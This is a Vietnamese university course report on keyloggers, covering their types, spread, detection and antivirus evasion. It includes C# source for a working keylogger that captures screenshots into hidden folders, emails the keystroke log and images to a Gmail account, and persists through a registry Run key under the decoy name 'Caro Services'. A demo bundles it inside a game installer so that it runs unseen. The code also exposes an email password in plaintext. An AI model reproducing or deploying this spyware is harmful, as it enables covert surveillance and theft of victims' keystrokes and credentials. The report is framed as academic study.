1. Trang chủ
  2. » Công Nghệ Thông Tin

NGHIÊN cứu và PHÁT TRIỂN THỬ NGHIỆM KEYLOGGER

48 47 1

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

1 BỘ GIÁO DỤC VÀ ĐÀO TẠO TRƯỜNG ĐẠI HỌC CÔNG NGHIỆP THỰC PHẨM TP.HCM KHOA CÔNG NGHỆ THÔNG TIN - ĐỒ ÁN MÔN HỌC ĐỀ TÀI: NGHIÊN CỨU VÀ PHÁT TRIỂN THỬ NGHIỆM KEYLOGGER Giảng viên hướng dẫn : ThS Trần Đắc Tốt Sinh viên thực : Nguyễn Đức Hùng – 2033181026 Hoàng Hữu Ngọc Điệp - 2033180108 Lớp : 09DHBM1 TP,Hồ Chí Minh, năm 2021 LỜI CAM ĐOAN Em xin cam đoan đồ án cơng trình nghiên cứu riêng thân chúng em hướng dẫn ThS.Trần Đắc Tốt… Những nhận định nêu đồ án kết từ nghiên cứu trực tiếp, nghiêm túc, độc lập thân tác giả dựa sở tìm kiếm, hiểu biết nghiên cứu tài liệu khoa học hay dịch khác công bố Đồ án giúp đảm bảo tính khách quan, trung thực khoa học Tp Hồ Chí Minh, ngày tháng năm 2021 Sinh viên thực Nguyễn Đức Hùng Sinh viên thực Hoàng Hữu Ngọc Điệp LỜI CẢM ƠN Trên thực tế khơng có thành cơng mà khơng gắn liền với hỗ trợ, giúp đỡ dù hay nhiều, dù trực tiếp hay gián tiếp người khác Trong suốt thời gian từ bắt đầu làm đồ án môn học, chúng em nhận nhiều quan tâm, giúp đỡ q Thầy/Cơ, gia đình bạn bè Với lòng biết ơn sâu sắc nhất, chúng em xin cảm ơn đến quý Thầy/Cô dành hết tâm huyết với tri thức đề truyền đạt vốn kiến thức quý báu cho chúng em suốt thời gian làm đồ án mô học Và đặc biệt em xin chân thành càm ơn thầy Trần Đắc Tốt tận tâm hướng dẫn chúng em qua buổi nói chuyện, thảo luận, khảo sát đề tài Nếu khơng có lời hướng dẫn, dạy bảo thầy chúng em nghĩ báo cáo chúng em khó hồn thiện Một lần nữa, em xin chân thành cảm ơn thầy Do báo cáo thực khoảng thời gian gần tuần Lần bước vào đề tài Không tránh khỏi thiếu sót điều chắn, em mong nhận ý kiến đóng góp quý báu quý Thầy/Cô để kiến thức em lĩnh vực hồn thiện Tp Hồ Chí Minh, ngày tháng năm 2021 Sinh viên thực Nguyễn Đức Hùng Sinh viên thực Hoàng Hữu Ngọc Điệp TÓM TẮT Theo định nghĩa nhất, keylogger chức records keystrokes máy tính Ở cấp độ này, keylogger dường vơ hại Nhưng nằm tay hacker tội phạm mạng, keylogger trở thành cơng cụ mạnh nhằm mục đích lấy cắp thơng tin bạn Việc tìm hiểu chương trình giúp có kiến thức Keylogger, phần mềm chia làm loại Cách hoạt động chất Keylogger Cách phát phòng chống Keylogger Việc tìm hiểu kiến thức cần thiết cho xây dựng chương trình Keylogger Và yếu tố giúp phát triển chương trình Anti-Keylogger say MỤC LỤC CHƯƠNG I: TÌM HIỂU KEYLLOGER VÀ CÁCH PHÒNG CHỐNG KEYLOGGER 1.1 Lịch sử Keylogger 1.2 Khái niệm Keylogger 10 1.3 Phân loại Keylogger 11 Keylogger dựa API 11 Keylogger dựa việc thu thập biểu mẫu 12 Keylogger dựa nhân 12 Keylogger phần cứng .12 Acoustic Keylogger 12 1.4 Cách hoạt động Keylogger 13 1.4.1 Thành phần Keylogger 13 1.4.2 Cách thức cài đặt vào máy: .13 1.4.3 Cách hoạt động 14 1.5 Tại keylogger mối đe dọa 14 1.6 Cách tội phạm mạng sử dụng lợi dụng keylogger 15 1.7 Cách thức lan truyền Keylogger .17 1.8 Cách phòng tránh phát Keylogger 18 1.8.1 Phòng ngừa theo “được cài đặt” 18 1.8.2 Phòng ngừa theo “bị cài đặt” .18 1.8.3 Che mắt keylogger 19 1.8.4 Cách phòng/tránh Keylogger 20 CHƯƠNG II: CÁC KỸ THUẬT QUA MẶT KEYLOGGER 22 2.1 Antivirus ? 22 2.2 Các tính Antivirus 22 2.3 Antivirus hoạt động ? 23 2.4 Các kỹ thuật qua mặt Antivirus 24 CHƯƠNG III: CHƯƠNG TRÌNH KEYLOGGERS 26 3.1 Bộ thư viện cần thiết 26 3.2 Key Logger C# NET - API Methods & Hook keyboard 26 3.2.1 Các hàm API .26 3.2.2 Hook keyboard 28 3.3 Key Logger C# NET – Show Windows 32 3.4 Key Logger C# NET – Capture 33 3.5 Key Logger C# NET –SendMail 35 3.6 Key Logger C# NET – Open with OS 38 3.7 Key Logger C# NET – Timer 39 CHƯƠNG IV: DEMO CHƯƠNG TRÌNH KEYLOGGER .41 4.1 Giao diện trị chơi che giấu chương trình Keylogger 41 4.2 Đóng gói chương trình caro với file keylogger (Caro Services) .42 4.3 Tiến hành cài file Game Caro 43 4.4 Khởi tạo file log .46 4.5 Kiểm tra gmail để xem keylogger có gửi đến khơng .47 Danh mục từ viết tắt Danh mục bảng Danh mục biểu đồ, đồ thị, sơ đồ, hình ảnh Tồn nội dung Đồ án Chương 1: Tìm hiểu Keylogger cách phòng chống Keylogger Chương 2: Các kỹ thuật qua mặt Anti-Virus Chương 3: Chương trình Keylogger Chương 4: Demo chương trình Keylogger Tài liệu tham khảo: Website: [1] D.Shankle (2020) LMG SECURITY BLOG [online], viewed June 2021, from: Common Antivirus Bypass Techniques | LMG Security [2] Kaspersky (2020) [online], viewed June2021, from: How Hackers Combat and Bypass Antivirus Systems | Kaspersky [3] Security List(2007) [online],viewed June 2021, form: Keyloggers: How they work and how to detect them (Part 1) | Securelist Ebook: [1] Matthew Munns, TROJAN, Kindle Edition, 2017 [2].Hassan Salmani, Trusted Digital Circuits Hardware Trojan Vulnerabilities, Prevention and Detection-Springer (2018) [3] Shamim Miah, Muslims, Schooling and Security_ Trojan Horse, Prevent and Racial PoliticsPalgrave Macmillan (2017) LỜI MỞ ĐẦU Keylogger phần mềm gián điệp Vì đề tài giúp có nhìn tổng quan Keylogger để biết ưu nhược điểm phần mềm này, cách thức hoạt động, từ biết cách phịng chống, phát tránh Keylogger Qua hiểu biết giúp xây dựng, thử nghiệm phát triển Keylogger Để hiểu rõ vào chi tiết phần sau CHƯƠNG I: TÌM HIỂU KEYLLOGER VÀ CÁCH PHÒNG CHỐNG KEYLOGGER 1.1 Lịch sử Keylogger Lịch sử việc sử dụng keylogger cho mục đích giám sát bắt nguồn từ ngày đầu máy tính Wikipedia nêu chi tiết việc sử dụng keylogger lặt vặt năm 1970 đầu năm 1980 cho nhiều mục đích khác nhau, bao gồm hoạt động bí mật phủ Trong hình thức keylogging khác xuất thời gian dài, bùng nổ việc tạo sử dụng keylogger thương mại tăng lên mức đáng kể vào đến cuối năm 1990 với đủ loại sản phẩm nhanh chóng tung thị trường thời gian Kể từ đó, số lượng keylogger thương mại có sẵn để mua bùng nổ lên hàng nghìn sản phẩm khác với nhiều đối tượng mục tiêu khác nhiều ngôn ngữ 10 Và keylogger lịch sử nhắm mục tiêu đến người dùng gia đình để lừa đảo, keylogging nhà nước bảo trợ ngành đại vấn đề nghiêm trọng, thám hiểm lừa đảo làm tổn hại đến nhân viên cấp thấp nhân viên chức năng, sau tìm cách tự vươn lên tổ chức 1.2 Khái niệm Keylogger Bạn có biết bàn phím bạn cho phép tội phạm mạng nghe trộm? Hoặc chúng theo dõi bạn camera hệ thống ? Hay nghe qua micrô điện thoại thông minh? Keylogger hay “ Trình ghi chép, theo dõi thao tác bàn phím ” dịch hiểu tiếng Việt chương trình máy tính viết dùng để theo dõi, ghi lại liệu bàn phím thao tác lưu vào tập tin (log) người cài đặt sử dụng Do chức mang tính vi phạm vào riêng tư người khác nên chương trình Keylogger xếp vào nhóm phần mềm gián điệp Mặc dù suy nghĩ người dùng, keylogger hoạt động bối cảnh phần mềm độc hại, chúng lúc bất hợp pháp để cài đặt sử dụng Keylogger công cụ phổ biến cho tập đồn, mà phận cơng nghệ 34 } // Lưu ảnh chụp hình vào đường dẫn định string imagePath = string.Format("{0}\\{1}{2}", directoryImage, DateTime.Now.ToLongDateString() + imageCount, imageExtendtion); try { bmpScreenshot.Save(imagePath, ImageFormat.Png); } catch { } imageCount++; //Hide File.SetAttributes(directoryImage, File.GetAttributes(directoryImage) | FileAttributes.Hidden); } Đầu tiên lấy bmpScreenshot cách tạo bitmap bitmap lấy kích thước hình var bmpScreenshot = new Bitmap (Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height) Và format 32bppArgb Sau tạo Graphics object từ bitmap (kiểu để vẽ ảnh ) var gfxScreenshot = Graphics.FromImage(bmpScreenshot); Sau copy tất hình ảnh, điểm ảnh hình gfxScreenshot.CopyFromScreen Với kích thước X Y, điểm ,0 sau lấy size (Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y,0,0, 35 Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy); Sau tạo file lưu trữ hình ảnh lại cách tính tốn đường dẫn image string directoryImage = imagePath + DateTime.Now.ToLongDateString(); Kiểm tra folder có tồn hay chưa chưa tạo folder cho if (!Directory.Exists(directoryImage)) { Directory.CreateDirectory(directoryImage); } Sau tính tốn cho file mà ta tạo, đảm bảo hình ảnh khác khác tên sau lưu lại hình ảnh string imageName = string.Format("{0}\\{1}{2}", directoryImage, DateTime.Now.ToLongDateString() + "_" + imageCount, imageExtendtion); try { bmpScreenshot.Save(imageName, ImageFormat.Png); } imageCount++; 3.5 Key Logger C# NET –SendMail static int mailTime = 3000; static void SendMail() { try { MailMessage mail = new MailMessage(); SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com"); 36 mail.From = new MailAddress("email@gmail.com"); mail.To.Add("hungdiep.doan1@gmail.com"); mail.Subject = "Keylogger date: " + DateTime.Now.ToLongDateString(); mail.Body = ":\n"; string logFile = logName + DateTime.Now.ToLongDateString() + logExtendtion; if (File.Exists(logFile)) { StreamReader sr = new StreamReader(logFile); mail.Body += sr.ReadToEnd(); sr.Close(); } string directoryImage = imageName + DateTime.Now.ToLongDateString(); DirectoryInfo image = new DirectoryInfo(directoryImage); foreach (FileInfo item in image.GetFiles("*.png")) { if (File.Exists(directoryImage + "\\" + item.Name)) mail.Attachments.Add(new Attachment(directoryImage + "\\" + item.Name)); } SmtpServer.Port = 587; SmtpServer.Credentials = new System.Net.NetworkCredential("hungdiep.doan1@gmail.com", "Hung123456@"); SmtpServer.EnableSsl = true; SmtpServer.Send(mail); Console.WriteLine("Sent mail!"); } catch (Exception ex) { Console.WriteLine(ex.ToString()); } } 37 Ở gửi mail thông qua gmail, giao thức smtp để gửi file log chứa thông tin victim MailMessage mail = new MailMessage(); SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com"); Những thông tin cho việc send mail: (1) Địa gửi (2) Gửi tới mail (3) Tiêu đề sau mail gửi tới (4) Phần body chứa thông tin victim mail.From = new MailAddress("email@gmail.com"); (1) mail.To.Add("email@gmail.com"); (2) mail.Subject = "Keylogger date: " + DateTime.Now.ToLongDateString(); (3) mail.Body = " :\n"; (4) Ở ta gửi mail + file log Nếu file log tồn đọc hết nội dung StreamReader sau đưa vào nội dung mail if (File.Exists(logFile)) { StreamReader sr = new StreamReader(logFile); mail.Body += sr.ReadToEnd(); sr.Close(); } Đưa đường dẫn hình ảnh string directoryImage = imagePath + DateTime.Now.ToLongDateString(); DirectoryInfo image = new DirectoryInfo(directoryImage); 38 Cho tất hình ảnh có png folder Và hình ảnh tồn gắn vào phần attachment email foreach (FileInfo item in image.GetFiles("*.png")) { if (File.Exists(directoryImage + "\\" +item.Name)) mail.Attachments.Add(new Attachment(directoryImage + "\\" + item.Name)); } - Port mặc định SMTP sever 587 số không thay đổi - Điền thông tin xác thực: thông tin tài khoản, password gmail bạn login gửi đến - Đừng quên open ssl để bảo mật tài khoản Gmail bạn với mã hóa SSL mà khơng phá vỡ trình thơng báo Gmail SmtpServer.Port = 587; SmtpServer.Credentials = newSystem.Net.NetworkCredential("tk", "pw"); SmtpServer.EnableSsl = true; SmtpServer.Send(mail); Nếu mail không thành cơng tài khoản bạn chưa chấp nhận quyền đăng nhập từ ứng dụng này, hay vào đường link bên phép: https://www.google.com/settings/u/1/security/lesssecureapps Dùng try catch giúp chương trình sản sinh lỗi trình send mail 3.6 Key Logger C# NET – Open with OS static void StartWithOS() { //Đăng kí key bên registry theo đường dẫn sau //Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion\Run 39 RegistryKey registryStart = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\Current Version\\Run", true); registryStart.SetValue("Caro Services", Application.ExecutablePath.ToString()); registryStart.Close(); } Cấu trúc để khởi động hệ thống đăng ký key bên registry Ở bạn đăng ký theo đường dẫn: “Computer\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentV ersion\Run” Hoặc “Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curren tVersion\Run” Ở để giấu người dùng bạn đặt tên quen thuộc, tạo cảm giác an toàn đánh lừa người dùng ( Caro Services) Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\Cu rrentVersion\\Run", true); - Sau registryKey.Close(); để đóng lưu lại q trình tạo key 3.7 Key Logger C# NET – Timer static int interval = 1; static void StartTimer() { Thread thread = new Thread(() => { while (true) { Thread.Sleep(1); if (interval % captureTime == 0) CaptureScreen(); 40 if (interval % mailTime == 0) SendMail(); interval++; if (interval >= 1000000) interval = 0; } } ); thread.IsBackground = true; thread.Start(); } Ở dùng đa luồng Thread mà chạy song song với trình hook keyboard Dùng vịng lập while để lập lập lại q trình thực thi bên Trong while ta có Thread.Sleep(1) có nghĩa khoảng thời gian millisecond (tương đương với 1/1000 second) Để tùy chọn thời gian mong muốn: Nếu interval chia hết captureTime (đã báo giá trị hàm CaptureScreen) ta chụp hình lần Nếu interval chia hết mailTime (đã báo giá trị hàm SendMail) ta send mail lần Cứ 1/1000 second, interval ++ Mà tốc độ tùy thuộc vào tốc độ CPU thiết bị Vì interval kiểu int lên giá trị có giới hạn nên cho sau lần đạt giá trị tối đa if (interval >= 1000000) interval = 0; - Nếu ứng dụng mà tắt tắt theo thread.IsBackground = true; 41 CHƯƠNG IV: DEMO CHƯƠNG TRÌNH KEYLOGGER 4.1 Giao diện trị chơi che giấu chương trình Keylogger Hình 4.1.1 Giao điện trị chơi Keylogger Do em lấy source code C# chỉnh sửa nên trò chơi mức khơng có giao diện đẹp Mục đích việc để che giấu Kelogger Sau code xong Keylogger chạy debug, thư mục Keylogger có chương trình với tên (Caro Services) nhằm tạo tên giả tránh bị nghi ngờ 42 Hình 4.1.2 Giao điện trị chơi Keylogger 4.2 Đóng gói chương trình caro với file keylogger (Caro Services) Ở em dùng phần mềm Inno Setup để viết đoạn scipt đóng gói lại Hình 4.2.1 Giao diện Scipt Với hàm #define MyAppName & MyAppName1 Game Caro & Caro Services (keylogger) Với hàm #define MyAppExeName && MyAppExeName Game Caro.exe && Caro Services.exe (keylogger) => chương trình có file exe để thực thi 43 Hình 4.2.2 Giao diện Scipt Với [Source] đường dẫn đến file Game Caro.exe && Caro Services.exe cần thực thi Với [Run] thực thi sau cài chương trình Bấm Ctrl+F9 để build file Game Caro.exe Hình 4.2.2 Giao diện Game Caro.exe 44 4.3 Tiến hành cài file Game Caro Hình 4.3.1 Giao diện cài game Để thư mục tùy ý chọn 45 4.3.2 Giao diện tạo shortcut Tạo shortcut file game caro.exe hình Hình 4.3 Giao diện sau cài xong Ở mặc định tick vào ô người dùng thường cài chạy hết dịch vụ để sử dụng phần mềm Hình 4.3.1 Giao diện chạy chương trình 46 Ở chạy ứng dụng caro lên keylogger chạy ngầm tiến hành ghi log capture screen 4.4 Khởi tạo file log Chương trình có sử dụng cặp file để ghi lại q trình gõ phím chụp hình Một file chứa giá trị phím ấn file chứa ảnh hình chụp Thư mục nằm file cài đặt ban đầu: C:\Program Files (x86)\Game Caro Hình 4.3.1 Giao diện file ghi log Do file ẩn giấu nên cần kiểm tra phải show hidden files tab View 47 Và kết thu Hình 4.3 Mở file ghi log 4.5 Kiểm tra gmail để xem keylogger có gửi đến khơng Sau chúng em kiểm tra gmail hungdiep.doan1@gmail.com để xem file gửi đến Hình 4.5 Ảnh gmail keylogger gửi đến 48 KẾT LUẬN Qua quãng thời gian làm đề tài chúng em có thêm thật nhiều kiến thức Cùng với kiến thức HĐH windows song song với trình tìm hiểu keylogger, để dựa vào kiến thức tảng đầy tính chất mang tính thực tiễn, chúng em viết chương trình keylogger đơn giản với mục đích giám sát Kết đạt được: Do thời gian ngắn chúng em chưa có hiểu biết sâu vào HĐH số thư viện hàm cần thiết Chúng em viết keyloggers mức độ Tương lai phát triển: tương lai chúng em cố gắng hoản thiện thêm số chức cho keylogger Dù dùng mục đích giám sát hiệu mang tính chất thực tiễn Trong trình thực đề tài, dù cố gắng, trình độ, kiến thức, thời gian bị hạn chế, tránh khỏi thiếu sót lúc thực Em mong đóng góp ý kiến, định hướng phát triển hồn thiện Rất cám ơn thầy cô dành thời gian để đọc đánh giá đề tài ... xây dựng, thử nghiệm phát triển Keylogger Để hiểu rõ vào chi tiết phần sau 9 CHƯƠNG I: TÌM HIỂU KEYLLOGER VÀ CÁCH PHÒNG CHỐNG KEYLOGGER 1.1 Lịch sử Keylogger Lịch sử việc sử dụng keylogger cho... thức Keylogger, phần mềm chia làm loại Cách hoạt động chất Keylogger Cách phát phòng chống Keylogger Việc tìm hiểu kiến thức cần thiết cho xây dựng chương trình Keylogger Và yếu tố giúp phát triển. .. Phân loại Keylogger Tùy thuộc vào phần máy tính mà chúng nhúng vào, tất keylogger phân loại dựa phần mềm dựa phần cứng Năm loại keylogger phổ biến bao gồm: 1.3.1 Keylogger dựa API Keylogger dựa

Ngày đăng: 24/12/2021, 21:53

Xem thêm:

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w